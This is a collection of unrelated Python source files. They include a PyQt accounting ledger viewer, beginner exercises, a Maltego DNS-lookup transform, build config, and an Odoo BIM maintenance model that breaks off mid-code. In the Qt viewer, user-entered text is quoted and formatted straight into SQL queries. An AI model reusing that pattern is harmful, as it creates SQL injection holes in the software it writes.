\r\n def retranslateUi(self, iris_main):\r\n _translate = QtCore.QCoreApplication.translate\r\n iris_main.setWindowTitle(_translate(\"iris_main\", \"Iris for EDE\"))\r\n \r\n self.menuFichier.setTitle(_translate(\"iris_main\", \"Fichier\"))\r\n self.menuYear.setTitle(_translate(\"iris_main\", \"Année\"))\r\n self.menuRqt.setTitle(_translate(\"iris_main\", \"Requêtes\"))\r\n \r\n self.toolBar.setWindowTitle(_translate(\"iris_main\", \"toolBar\"))\r\n \r\n self.showAnalyticsBook.setText(_translate(\"iris_main\", \"Afficher un grand livre analytique complet\"))\r\n self.showGeneralEntries.setText(_translate(\"iris_main\", \"Afficher les écritures pour un compte spécifique\"))\r\n self.showGeneralBook.setText(_translate(\"iris_main\", \"Afficher les écritures du grand livre général\"))\r\n self.showClientEntries.setText(_translate(\"iris_main\", \"Afficher les écritures analytique pour un client\"))\r\n self.showAnalyticsEntries.setText(_translate(\"iris_main\", \"Afficher les écritures analytiques pour une activité\"))\r\n self.showClientAccount.setText(_translate(\"iris_main\", \"Afficher les écritures d\\'un compte pour un client\"))\r\n self.showAnalyticsAccount.setText(_translate(\"iris_main\", \"Afficher les écritures d\\'un compte pour une activité\"))\r\n self.showReportPlan.setText(_translate(\"iris_main\", \"Afficher un plan reporting complet\"))\r\n self.showUnbalancedAnalytics.setText(_translate(\"iris_main\", \"Afficher les écritures analytiques non équilibrés\"))\r\n self.showMissingAnalytics.setText(_translate(\"iris_main\", \"Afficher les écritures non renseignées dans les plans\"))\r\n \r\n self.openLogFile.setText(_translate(\"iris_main\", \"Ouvrir un fichier de log\"))\r\n self.createLogFile.setText(_translate(\"iris_main\", \"Créer un fichier de log\"))\r\n self.modLogFile.setText(_translate(\"iris_main\", \"Modifier un fichier de log\"))\r\n self.importBook.setText(_translate(\"iris_main\", \"Importer un grand livre au format CSV - Sage\"))\r\n self.exportBookCSV.setText(_translate(\"iris_main\", \"Exporter un grand livre analytique au format CSV\"))\r\n self.importChartAccount.setText(_translate(\"iris_main\", \"Importer un plan comptable\"))\r\n self.importAnalyticsAccount.setText(_translate(\"iris_main\", \"Importer un plan analytique\"))\r\n self.importReportingAccount.setText(_translate(\"iris_main\", \"Importer un plan reporting\"));\r\n self.importReportingRel.setText(_translate(\"iris_main\", \"Importer une ventilation du plan de reporting\"));\r\n \r\n self.quit.setText(_translate(\"iris_main\", \"Quitter\"));\r\n# self.tabWidget.setTabText(self.tabWidget.indexOf(self.emptyTableViewTab), _translate(\"iris_main\", \"Tab 1\"))\r\n\r\n def _init_year_menu(self, parent):\r\n _translate = QtCore.QCoreApplication.translate\r\n for year in self._years:\r\n action = QtWidgets.QAction(parent);\r\n action.setObjectName(str(year));\r\n action.triggered.connect(self._init_tables_tree_view);\r\n self.menuYear.addAction(action);\r\n action.setText(_translate(\"iris_main\", str(year)));\r\n \r\n def _init_windows(self, iris_main):\r\n iris_main.setObjectName(\"iris_main\")\r\n iris_main.resize(1024, 768)\r\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\r\n sizePolicy.setHorizontalStretch(0)\r\n sizePolicy.setVerticalStretch(0)\r\n sizePolicy.setHeightForWidth(iris_main.sizePolicy().hasHeightForWidth())\r\n iris_main.setSizePolicy(sizePolicy)\r\n iris_main.setMaximumSize(QtCore.QSize(16777215, 16777215))\r\n \r\n def _init_central_widget(self, iris_main):\r\n centralwidget = QtWidgets.QWidget(iris_main)\r\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\r\n sizePolicy.setHorizontalStretch(0)\r\n sizePolicy.setVerticalStretch(0)\r\n sizePolicy.setHeightForWidth(centralwidget.sizePolicy().hasHeightForWidth())\r\n centralwidget.setSizePolicy(sizePolicy)\r\n centralwidget.setLayoutDirection(QtCore.Qt.LeftToRight)\r\n centralwidget.setObjectName(\"centralwidget\")\r\n return centralwidget;\r\n \r\n def _init_grid_layout(self, parent):\r\n gridLayout = QtWidgets.QGridLayout(parent)\r\n gridLayout.setObjectName(\"gridLayout\")\r\n return gridLayout;\r\n \r\n def _init_main_splitter(self, parent):\r\n mainSplitter = QtWidgets.QSplitter(parent)\r\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\r\n sizePolicy.setHorizontalStretch(0)\r\n sizePolicy.setVerticalStretch(0)\r\n sizePolicy.setHeightForWidth(mainSplitter.sizePolicy().hasHeightForWidth())\r\n mainSplitter.setSizePolicy(sizePolicy)\r\n mainSplitter.setOrientation(QtCore.Qt.Horizontal)\r\n mainSplitter.setObjectName(\"mainSplitter\")\r\n return mainSplitter;\r\n \r\n def _init_left_layout(self, parent):\r\n leftLayoutWdg = QtWidgets.QWidget(parent)\r\n leftLayoutWdg.setObjectName(\"leftLayoutWdg\")\r\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\r\n sizePolicy.setHorizontalStretch(0)\r\n leftLayoutWdg.setSizePolicy(sizePolicy)\r\n return leftLayoutWdg;\r\n \r\n def _init_tables_tree_layout(self, parent):\r\n tablesTreeLayout = QtWidgets.QHBoxLayout(parent)\r\n tablesTreeLayout.setSizeConstraint(QtWidgets.QLayout.SetNoConstraint)\r\n tablesTreeLayout.setContentsMargins(-1, -1, 0, -1)\r\n tablesTreeLayout.setSpacing(0)\r\n tablesTreeLayout.setObjectName(\"tablesTreeLayout\")\r\n return tablesTreeLayout;\r\n \r\n def _init_tables_tree_view(self):\r\n if (self.tablesTreeView is not None):\r\n self.tablesTreeView.deleteLater();\r\n self.tablesTreeView = None;\r\n \r\n self.tablesTreeView = treeView.TableTreeView(self._main_windows,\r\n self.leftLayoutWdg);\r\n self.tablesTreeLayout.addWidget(self.tablesTreeView);\r\n \r\n def _init_right_layout(self, parent):\r\n rightLayoutWdg = QtWidgets.QWidget(parent)\r\n rightLayoutWdg.setObjectName(\"rightLayoutWdg\")\r\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\r\n sizePolicy.setHorizontalStretch(3)\r\n rightLayoutWdg.setSizePolicy(sizePolicy)\r\n return rightLayoutWdg;\r\n \r\n def _init_tab_view_layout(self, parent):\r\n tabViewLayout = QtWidgets.QHBoxLayout(parent);\r\n tabViewLayout.setSizeConstraint(QtWidgets.QLayout.SetNoConstraint);\r\n tabViewLayout.setSpacing(0);\r\n tabViewLayout.setObjectName(\"tabViewLayout\");\r\n return tabViewLayout;\r\n \r\n def _init_tab_widget(self, parent):\r\n #Intitiates the tabWidget\r\n tabWidget = QtWidgets.QTabWidget(self.rightLayoutWdg);\r\n tabWidget.setEnabled(True);\r\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding);\r\n sizePolicy.setHorizontalStretch(2);\r\n sizePolicy.setVerticalStretch(1);\r\n sizePolicy.setHeightForWidth(tabWidget.sizePolicy().hasHeightForWidth());\r\n tabWidget.setSizePolicy(sizePolicy);\r\n tabWidget.setTabsClosable(True);\r\n tabWidget.tabCloseRequested.connect(self._close_tab);\r\n tabWidget.setObjectName(\"tabWidget\");\r\n return tabWidget;\r\n \r\n def _create_query_tab(self, table_name):\r\n '''\r\n Creates a new empty query tab.\r\n '''\r\n \r\n emptyTableViewTab = QtWidgets.QWidget();\r\n sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, \r\n QtWidgets.QSizePolicy.Expanding);\r\n sizePolicy.setHorizontalStretch(2);\r\n sizePolicy.setVerticalStretch(1);\r\n sizePolicy.setHeightForWidth(emptyTableViewTab.sizePolicy().hasHeightForWidth());\r\n emptyTableViewTab.setSizePolicy(sizePolicy);\r\n emptyTableViewTab.setObjectName(table_name);\r\n return emptyTableViewTab; \r\n\r\n def add_new_query_tab(self, table_name):\r\n \r\n #Fetch the table content form the db aka the model\r\n table_content = self._db.fetch_table_content(table_name);\r\n self.statusbar.showMessage(\"Table content fetched. Please wait while processing data...\");\r\n \r\n #Model declaration, types conversion, avoiding primary column editing\r\n model = QStandardItemModel();\r\n table_primary = self._db.table_primary(table_name);\r\n for tpl in table_content:\r\n row = [];\r\n for field, head in zip(tpl, self._tables_head[table_name]):\r\n elem = QtGui.QStandardItem(str(field))\r\n if (head in table_primary.keys()):\r\n elem.setEditable(False);\r\n row.append(elem);\r\n model.appendRow(row);\r\n \r\n model.setHorizontalHeaderLabels(self._tables_head[table_name]);\r\n \r\n #Creates the tabWidget if necessary\r\n if (self.tabWidget == None):\r\n self.tabWidget = self._init_tab_widget(self.rightLayoutWdg);\r\n self.tabViewLayout.addWidget(self.tabWidget);\r\n self.tabWidget.raise_();\r\n self.tabWidget.setCurrentIndex(0);\r\n \r\n #Creates the new tab to be addes and setup its layout\r\n queryTab = self._create_query_tab(table_name);\r\n self.queryTabs.append(queryTab);\r\n horizontalLayout = QtWidgets.QHBoxLayout(queryTab);\r\n horizontalLayout.setObjectName(table_name);\r\n verticalLayout = QtWidgets.QVBoxLayout();\r\n verticalLayout.setSizeConstraint(QtWidgets.QLayout.SetNoConstraint);\r\n verticalLayout.setSpacing(0);\r\n verticalLayout.setObjectName(\"verticalLayout\");\r\n \r\n #Creates the custom QueryTableView that will handle the table content for the view\r\n try :\r\n queryTableView = QueryViewTable(table_name, self._main_windows, \r\n {\"model_changed\" : self._model_changed});\r\n\r\n queryTableView.setProxyModelSource(model);\r\n self.queryViews.append(queryTableView);\r\n \r\n #Adds the QueryTableView to the new layout included in the tabWidget\r\n verticalLayout.addWidget(queryTableView);\r\n horizontalLayout.addLayout(verticalLayout);\r\n self.tabWidget.addTab(queryTableView, table_name);\r\n self.tabWidget.setCurrentWidget(queryTableView);\r\n \r\n self.statusbar.showMessage('');\r\n \r\n except Exception as e:\r\n print(e);\r\n \r\n def _query_from_file(self, query_name, path, args = None):\r\n '''\r\n Opens a file that should contain a query and executes it. \r\n '''\r\n try:\r\n file = open(path, 'r');\r\n query = ''; \r\n \r\n for l in file:\r\n query += l;\r\n \r\n file.close();\r\n \r\n if (args):\r\n query = query % tuple(args);\r\n \r\n self._add_new_query_tab_from_query(query, query_name)\r\n \r\n except Exception as e:\r\n print(e);\r\n \r\n def _query_from_file_dialog(self, query_name, path, args : [], to_double = False):\r\n '''\r\n Creates several dialogs dynamically from a list of lists.\r\n Each list countains : the prompt and the type.\r\n The types = 'i' for int, 'f' for float, 's' for string.\r\n '''\r\n \r\n query_args = [];\r\n ok = True;\r\n \r\n for arg in args:\r\n val, ok = QInputDialog.getText(self, query_name, arg[0]);\r\n if (ok):\r\n if (arg[1] == 'i'):\r\n if (tf.is_integer(val)):\r\n val = int(val);\r\n query_args.append(val);\r\n \r\n else:\r\n ok = False;\r\n QMessageBox.setText(self, 'Merci de rentrer un entier.');\r\n break;\r\n \r\n elif (arg[1] == 'f'):\r\n if (tf.is_float(val)):\r\n val = float(val);\r\n query_args.append(val);\r\n \r\n else:\r\n ok = False;\r\n QMessageBox.setText(self, 'Merci de rentrer un nombre.');\r\n break;\r\n \r\n elif (arg[1] == 's'):\r\n val = '\\'' + val + '\\'';\r\n query_args.append(val);\r\n \r\n else:\r\n QMessageBox.setText(self, 'Erreur de paramètre sur le typage. Voir le code.');\r\n ok = False;\r\n break;\r\n else:\r\n break\r\n \r\n if (ok):\r\n #If the same args if asked two times in the query\r\n if (to_double):\r\n for i in range(len(query_args)):\r\n query_args.append(query_args[i]);\r\n \r\n self._query_from_file(query_name, path, query_args);\r\n \r\n def _add_new_query_tab_from_query(self, query, query_name):\r\n '''\r\n Add a new query tab directly from a query.\r\n The rows are not editable.\r\n The user is not expected to work an the db from a simple query.\r\n '''\r\n \r\n #Fetch data from query\r\n self._db.execute_query(query);\r\n \r\n if (self._db.error):\r\n self._db.close_cursor();\r\n else:\r\n \r\n query_result = self._db.fetch_all();\r\n desc = self._db.query_description();\r\n self._db.close_cursor();\r\n \r\n if (self._db.error == False and desc != None):\r\n \r\n #Model declaration, types conversion,\r\n \r\n model = QStandardItemModel();\r\n for tpl in query_result:\r\n row = [];\r\n for field in tpl:\r\n elem = QtGui.QStandardItem(str(field));\r\n elem.setEditable(False);\r\n row.append(elem);\r\n model.appendRow(row);\r\n \r\n #Set query's headers\r\n model.setHorizontalHeaderLabels(desc);\r\n \r\n #Creates the tabWidget if necessary\r\n if (self.tabWidget == None):\r\n self.tabWidget = self._init_tab_widget(self.rightLayoutWdg);\r\n self.tabViewLayout.addWidget(self.tabWidget);\r\n self.tabWidget.raise_();\r\n self.tabWidget.setCurrentIndex(0);\r\n \r\n queryTab = self._create_query_tab(query_name);\r\n self.queryTabs.append(queryTab);\r\n horizontalLayout = QtWidgets.QHBoxLayout(queryTab);\r\n horizontalLayout.setObjectName(query_name);\r\n verticalLayout = QtWidgets.QVBoxLayout();\r\n verticalLayout.setSizeConstraint(QtWidgets.QLayout.SetNoConstraint);\r\n verticalLayout.setSpacing(0);\r\n verticalLayout.setObjectName(\"verticalLayout\")\r\n \r\n #Creates the custom QueryTableView that will handle the query content for the view\r\n try :\r\n queryTableView = QueryViewTable(query_name, self._main_windows, \r\n {\"model_changed\" : self._model_changed});\r\n \r\n queryTableView.setProxyModelSource(model);\r\n self.queryViews.append(queryTableView);\r\n \r\n #Adds the QueryTableView to the new layout included in the tabWidget\r\n verticalLayout.addWidget(queryTableView);\r\n horizontalLayout.addLayout(verticalLayout);\r\n self.tabWidget.addTab(queryTableView, query_name);\r\n self.tabWidget.setCurrentWidget(queryTableView);\r\n \r\n self.statusbar.showMessage('');\r\n \r\n except Exception as e:\r\n print(e); \r\n\r\n def _close_tab(self, currentIndex):\r\n tabToClose = self.tabWidget.widget(currentIndex);\r\n tabToClose.deleteLater();\r\n self.tabWidget.removeTab(currentIndex);\r\n \r\n def _model_changed(self, table_name, modelIndex, model):\r\n table_primary = self._db.table_primary(table_name);\r\n table_header = self._db.table_headnames(table_name);\r\n row = modelIndex.row();\r\n col = modelIndex.column();\r\n what = {};\r\n what[table_header[col]] = modelIndex.data();\r\n where = {};\r\n for k in table_primary:\r\n where[k] = model.index(row, table_primary[k]).data();\r\n self._db.table_update(table_name, what, where);\r\n \r\n def _fetch_tables_description(self):\r\n '''\r\n Fetch description of all tables countained in the db.\r\n The descriptions are stocked in memory in dictionnaries and encapsulated.\r\n '''\r\n temp_desc = {};\r\n temp_headnames = {};\r\n for t in self._tables_names:\r\n temp_desc[t] = self._db.table_headers(t);\r\n temp_headnames[t] = self._db.table_headnames(t);\r\n self._tables_head = temp_headnames;\r\n self._tables_desc = temp_desc;\r\n\r\n def _open_file(self, open_file_prompt):\r\n '''\r\n Open a file from with the OS GUI through Qt.\r\n The file system will show the root directory of the project.\r\n '''\r\n root_path = os.path.dirname(__file__);\r\n root_path = os.path.abspath(os.path.join(root_path, os.pardir));\r\n root_path = os.path.abspath(os.path.join(root_path, os.pardir));\r\n try :\r\n fname = QFileDialog.getOpenFileName(self, \r\n open_file_prompt, \r\n root_path);\r\n \r\n if (fname[0]):\r\n f = open(fname[0], 'r', encoding='Latin-1');\r\n else:\r\n return None, None;\r\n \r\n except Exception as e:\r\n sys.stdout.write(e);\r\n msgBox = QMessageBox();\r\n msgBox.setText(\"Une erreur est survenue lors de l\\'accès au fichier.\" \\\r\n + \"Merci de recommencer l\\'opération ou de vérifier votre système\");\r\n msgBox.exec();\r\n return None, None;\r\n \r\n return f, fname[0];\r\n \r\n def _convert_csv_to_list(self, file):\r\n '''\r\n Convert a csv to a Python list.\r\n '''\r\n chart_account = csv.reader(file, delimiter = \";\");\r\n return [row for row in chart_account];\r\n \r\n def _import_from_file(self, file_ext = '.csv', target_table = '', prompt = ''):\r\n '''\r\n Import a chart account in csv (or file_ext) file format.\r\n The file header and types has to comply with the database table.\r\n '''\r\n file, filepath = self._open_file(prompt);\r\n \r\n if (file is None or file == ''):\r\n return None;\r\n \r\n else:\r\n filename, ifile_ext = os.path.splitext(filepath);\r\n if (ifile_ext != file_ext):\r\n msg = \"Merci de choisir un format \" \\\r\n + file_ext \\\r\n + \" pour l'import de \" + prompt;\r\n msgBox = QMessageBox();\r\n msgBox.setIcon(QMessageBox.Warning);\r\n msgBox.setText(msg);\r\n msgBox.exec();\r\n \r\n elif (file_ext == '.csv' and target_table != ''):\r\n chart_list = self._convert_csv_to_list(file);\r\n file.close();\r\n \r\n icon = None;\r\n \r\n self._db.table_update_from_list(target_table, chart_list);\r\n \r\n if (self._db.error):\r\n msg = \"L'import a provoqué une erreur.\\n\";\r\n msg += \"Vérifiez votre fichier et recommencez l'opération.\";\r\n icon = QMessageBox.Warning;\r\n \r\n else:\r\n msg = \"L'import s'est déroulé correctement.\\n\";\r\n msg += str(self._db.rows_inserted) + \" insérées.\" \r\n icon = QMessageBox.Information;\r\n \r\n msgBox = QMessageBox();\r\n msgBox.setIcon(icon);\r\n msgBox.setText(msg);\r\n msgBox.exec();\r\n \r\n elif (file_ext == '.csv'):\r\n chart_list = self._convert_csv_to_list(file);\r\n file.close;\r\n return chart_list;\r\n \r\n def _import_splitted_file(self, file_ext = '.csv', targets_tables = [], open_prompt = ''):\r\n '''\r\n Import a file and imports it into differents tables into the DB.\r\n ''' \r\n \r\n grid = self._import_from_file(prompt = open_prompt);\r\n \r\n if (grid is not None):\r\n \r\n for table_name in targets_tables: \r\n heads = self._tables_head[table_name];\r\n table_insert = [];\r\n \r\n for row in range(0, len(grid)):\r\n \r\n row_insert = [];\r\n for col in range(0, len(grid[row])):\r\n if (grid[0][col] in heads):\r\n row_insert.append(grid[row][col].strip());\r\n \r\n if (len(row_insert) == len(heads)):\r\n table_insert.append(row_insert);\r\n \r\n #table_insert.sort();\r\n #table_insert = list(r for r,_ in itertools.groupby(table_insert)); \r\n #table_insert.insert(0, heads);\r\n #print(table_insert);\r\n self._db.table_update_from_list(table_name, table_insert);\r\n \r\n if (self._db.error):\r\n msg = \"L'import a provoqué une erreur.\\n\";\r\n msg += \"Vérifiez votre fichier et recommencez l'opération.\";\r\n msgBox = QMessageBox();\r\n msgBox.setIcon(QMessageBox.Warning);\r\n msgBox.setText(msg);\r\n msgBox.exec();\r\n return;\r\n \r\n msg = \"Limport s'est déroulé correctement.\\n\";\r\n msg += str(self._db.rows_inserted) + \" lignes insérées.\" \r\n msgBox = QMessageBox();\r\n msgBox.setIcon(QMessageBox.Information);\r\n msgBox.setText(msg);\r\n msgBox.exec();\r\n \r\n ","sub_path":"view/iris_central.py","file_name":"iris_central.py","file_ext":"py","file_size_in_byte":39967,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"341720459","text":"#conversor de petragem e calculador de consumo de gazolina\nmetros = float(input(\"Me informe a distancia em metros da sua casa ate o seu serviço \"))\ndecimetros = metros*10\ncentimetros = metros*100\nmilimetros = metros*1000\ndecametros = metros/10\nhectometro = metros/100\nkilometros = metros/1000\ngazolina = (kilometros/8)*4.50\nprint(\" Você percorre {} metro, {} decimetros, {} centimetros, {} milimetros\".format(metros, decimetros, centimetros, milimetros)) \nprint(\" Ou {} decametros, {} hectometro, {}kilometro e consome por viagem {} de gazolina\".format(decametros, hectometro, kilometros, gazolina))\n","sub_path":"extra/exe008.py","file_name":"exe008.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"108180399","text":"#!/usr/bin/env python3\n# vim: sta:et:sw=2:ts=2:sts=2\n\"\"\"\nConfig options\n\"\"\"\n\nfrom boot import *\n\nTHE= o( \n char = o( sep = \",\",\n num = \"$\",\n less = \"<\",\n more = \">\",\n skip = \"?\",\n klass= \"!\",\n doomed = r'([\\n\\t\\r ]|#.*)'),\n div = o( trivial = 1.025, \n cohen = 0.3, \n min = 0.5)\n)\n","sub_path":"hw/5/the.py","file_name":"the.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"632622704","text":"#!/usr/bin/env python\n\nfrom canari.maltego.configuration import BuiltInTransformSets\nfrom canari.maltego.entities import DNSName\nfrom canari.framework import configure\n\nfrom common.dnstools import nslookup\n\n__author__ = 'Nadeem Douba'\n__copyright__ = 'Copyright 2012, Sploitego Project'\n__credits__ = []\n\n__license__ = 'GPL'\n__version__ = '0.1'\n__maintainer__ = 'Nadeem Douba'\n__email__ = 'ndouba@gmail.com'\n__status__ = 'Development'\n\n__all__ = [\n 'dotransform'\n]\n\n\n@configure(\n label='To IPv6 Address [DNS]',\n description='This transform attempts to resolve a DNS record to an IPv6 Address.',\n uuids=[\n 'sploitego.v2.DNSNameToIPv6Address_DNS'\n ],\n inputs=[\n ( BuiltInTransformSets.ResolveToIP, DNSName )\n ]\n)\ndef dotransform(request, response):\n nslookup(request.value, 'AAAA', response)\n return response","sub_path":"src/sploitego/transforms/dnsaaaalookup.py","file_name":"dnsaaaalookup.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"548608025","text":"# -*- coding: utf-8 -*-\n#\n# {project.authors}\n# {project.affiliations}\n# (c) {project.span} all rights reserved\n#\n\n\n# externals\nimport os\n\n\n# platform hook\ndef platform(builder):\n \"\"\"\n Decorate the builder with platform specific options\n \"\"\"\n # get the platform id\n platform = builder.host.system\n # print('platform:', platform)\n\n # on darwin\n if platform == 'Darwin':\n # assume macports\n systemdir = '/opt/local'\n systemlibdir = os.path.join(systemdir, 'lib')\n systemincdir = os.path.join(systemdir, 'include')\n\n # set up python\n pythonVersion = '3.4'\n pythonMemoryModel = 'm'\n python = 'python' + pythonVersion\n pythonHome = os.path.join(\n systemdir, 'Library/Frameworks/Python.framework/Versions', pythonVersion)\n builder.requirements['python'].environ = {{\n 'PYTHON': python,\n 'PYTHON_PYCFLAGS': '-b',\n 'PYTHON_DIR': systemdir,\n 'PYTHON_LIBDIR': os.path.join(pythonHome, 'lib'),\n 'PYTHON_INCDIR': os.path.join(pythonHome, 'include', python+pythonMemoryModel),\n }}\n\n # all done\n return builder\n\n # on linux\n if platform == 'Linux':\n # on normal distributions\n systemdir = '/usr'\n systemlibdir = os.path.join(systemdir, 'lib')\n systemincdir = os.path.join(systemdir, 'include')\n\n # set up python\n pythonVersion = '3.4'\n python = 'python' + pythonVersion\n builder.requirements['python'].environ = {{\n 'PYTHON': python,\n 'PYTHON_PYCFLAGS': '-b',\n 'PYTHON_DIR': systemdir,\n 'PYTHON_LIBDIR': os.path.join(systemdir, 'lib', python),\n 'PYTHON_INCDIR': os.path.join(systemdir, 'include', python),\n }}\n\n # all done\n return builder\n\n # on all other platforms\n return builder\n\n\n# end of file\n","sub_path":"templates/django/.mm/platforms.py","file_name":"platforms.py","file_ext":"py","file_size_in_byte":1917,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"612039467","text":"'''\nСоздать текстовый файл (не программно). Построчно записать фамилии сотрудников и величину их окладов\n(не менее 10 строк). Определить, кто из сотрудников имеет оклад менее 20 тысяч,\nвывести фамилии этих сотрудников. Выполнить подсчёт средней величины дохода сотрудников.\n'''\nsum_pay = 0\ntry:\n with open(\"workers.txt\") as f_obj:\n for i, line in enumerate(f_obj,1):\n sum_pay += float(line.split()[1])\n if float(line.split()[1]) < 20000:\n print(f\"{line.split()[0]} имеет оклад менее 20 тысяч, он получает = {line.split()[1]} руб.\")\n print(\"-\" * 30)\n print(f\"Средний доход сотрудников = {round(sum_pay/i, 2)} руб.\")\nexcept IOError:\n print(\"Произошла ошибка ввода-вывода!\")","sub_path":"53.py","file_name":"53.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"642419028","text":"# -*- coding: utf-8 -*-\nfrom odoo import api, fields, models, _\nfrom odoo.exceptions import UserError\nfrom datetime import datetime, timedelta\nfrom odoo.tools.misc import formatLang, format_date, get_lang\n\nclass BimMaintenance(models.Model):\n _name = \"bim.maintenance\"\n _inherit = ['mail.thread', 'mail.activity.mixin', 'image.mixin']\n _description = \"Ordenes Mantenimiento BIM\"\n _order = 'id desc'\n\n @api.depends('line_ids.price_subtotal')\n def _compute_total(self):\n for record in self:\n record.amount_total = sum(x.price_subtotal for x in record.line_ids)\n\n @api.depends('requisition_ids')\n def _compute_req_count(self):\n for project in self:\n project.req_count = len(project.requisition_ids)\n\n def _compute_invoice(self):\n for record in self:\n record.invoice_count = len(record.invoice_ids)\n\n name = fields.Char(string='Referencia', required=True, copy=False,\n readonly=True, states={'draft': [('readonly', False)]},\n index=True, default=lambda self: 'Nuevo')\n state = fields.Selection([\n ('draft', 'Nuevo'),\n ('planned', 'Programado'),\n ('done', 'Ejecutado'),\n ('invoiced', 'Facturado'),\n ('cancel', 'Cancelado'),\n ], string='Estado', readonly=True, copy=False, index=True,\n track_visibility='onchange', default='draft')\n date_planned = fields.Datetime(string='Fecha Estimada', required=True,\n readonly=True, index=True, states={'draft': [('readonly', False)]},\n copy=False, default=fields.Datetime.now)\n date_done = fields.Datetime(string='Fecha Ejecución',\n readonly=True, index=True, states={'draft': [('readonly', False)]},\n copy=False, default=fields.Datetime.now)\n partner_id = fields.Many2one('res.partner', string='Cliente', readonly=True,\n states={'draft': [('readonly', False)]}, required=True, change_default=True,\n index=True, track_visibility='always')\n project_id = fields.Many2one('bim.project', 'Obra', readonly=True,\n required=True, copy=False, states={'draft': [('readonly', False)]})\n invoice_ids = fields.One2many('account.move', 'maintenance_id', 'Facturas')\n invoice_count = fields.Integer('Facturas', compute=_compute_invoice)\n invoice_id = fields.Many2one('account.move', string='Factura', readonly=True)\n note = fields.Text('Observaciones')\n user_id = fields.Many2one('res.users', string='Responsable',\n states={'draft': [('readonly', False)]}, index=True,\n track_visibility='onchange', default=lambda self: self.env.user)\n company_id = fields.Many2one('res.company', 'Compañía', default=lambda self: self.env.company)\n currency_id = fields.Many2one(\"res.currency\", related='company_id.currency_id',\n string=\"Moneda\", readonly=True, required=True)\n line_ids = fields.One2many('bim.maintenance.line', 'maintenance_id',\n string='Líneas', states={'cancel': [('readonly', True)], 'done': [('readonly', True)]}, copy=True)\n amount_total = fields.Monetary('Total', compute=\"_compute_total\", store=True)\n requisition_ids = fields.One2many('bim.purchase.requisition','maintenance_id','Sol. de Materiales')\n req_count = fields.Integer('Cantidad Sol Materiales', compute=\"_compute_req_count\")\n maintenance_duration = fields.Integer('Duración Estimada (días)', default=1)\n department_id = fields.Many2one('bim.department', 'Departamento', related=\"project_id.department_id\", store=True)\n invoice_amount = fields.Monetary('Monto a Facturar')\n maintenance_currency_id = fields.Many2one('res.currency', 'Moneda', related=\"project_id.maintenance_currency_id\",\n store=True)\n reminder = fields.Boolean('recordatorio', compute='compute_reminder')\n days_reminder = fields.Integer('dias recordatorio', compute='compute_days_reminder')\n\n def compute_days_reminder(self):\n for record in self:\n today = fields.Datetime.now()\n rest = 0\n if format_date(record.env, today) <= format_date(record.env, record.date_planned):\n rest = record.date_planned - today\n if record.name == \"Nuevo\":\n record.days_reminder = rest.days + 1\n else:\n record.days_reminder = 0\n\n def compute_reminder(self):\n for record in self:\n today = fields.Datetime.now()\n reminder = False\n for day in record.company_id.array_day_ids:\n date_reminder = today + timedelta(days=day.name)\n date_reminder = format_date(self.env, date_reminder)\n date_planned = format_date(self.env, record.date_planned)\n if date_reminder == date_planned:\n reminder = True\n break\n if reminder:\n record.reminder = reminder\n else:\n record.reminder = False\n\n def action_send(self):\n maintenances = self.env['bim.maintenance'].search([])\n for mant in maintenances:\n if mant.reminder:\n template = mant.company_id.template_mant_id\n mail = template.send_mail(mant.id, force_send=True)\n if mail:\n mant.message_post(\n body=_(\"Enviado email a Soporte: %s\" % mant.project_id.customer_id.name))\n\n @api.model\n def create(self, vals):\n if vals.get('name', 'Nuevo') == 'Nuevo':\n vals['name'] = self.env['ir.sequence'].next_by_code('bim.maintenance') or 'Nuevo'\n maintenance = super(BimMaintenance, self).create(vals)\n return maintenance\n\n @api.onchange('project_id')\n def onchange_project_id(self):\n if self.project_id:\n self.partner_id = self.project_id.customer_id.id\n\n def action_programmed(self):\n self.write({'state': 'planned'})\n\n def action_executed(self):\n self.write({'state': 'done'})\n\n def action_cancel(self):\n self.write({'state': 'cancel'})\n\n def action_view_req(self):\n reqs = self.mapped('requisition_ids')\n action = self.env.ref('base_bim_2.action_bim_purchase_requisition').read()[0]\n action['domain'] = [('id', 'in', reqs.ids)]\n return action\n\n def generate_bim_req(self):\n self.ensure_one()\n req_lines = []\n for line in self.line_ids:\n if line.product_id.type != 'service' and line.product_id.resource_type in ['HR','M','Q'] and line.quantity > 0.0:\n req_lines.append((0,0,{\n 'product_id': line.product_id.id,\n 'um_id': line.uom_id.id,\n 'quant': line.quantity\n }))\n if len(req_lines) == 0:\n raise UserError(u'No hay productos por realizar solicitud')\n requisition = self.env['bim.purchase.requisition'].create({\n 'user_id': self.user_id.id,\n 'project_id': self.project_id.id,\n 'date_begin': datetime.now(),\n 'product_ids': req_lines,\n 'maintenance_id': self.id\n })\n action = self.env.ref('base_bim_2.action_bim_purchase_requisition')\n result = action.read()[0]\n res = self.env.ref('base_bim_2.view_form_bim_purchase_requisition', False)\n result['views'] = [(res and res.id or False, 'form')]\n result['res_id'] = requisition.id\n return result\n\n def generate_paidstate(self):\n self.ensure_one()\n epaid = self.env['bim.paidstate'].create({\n 'project_id': self.project_id.id,\n 'amount': self.invoice_amount,\n 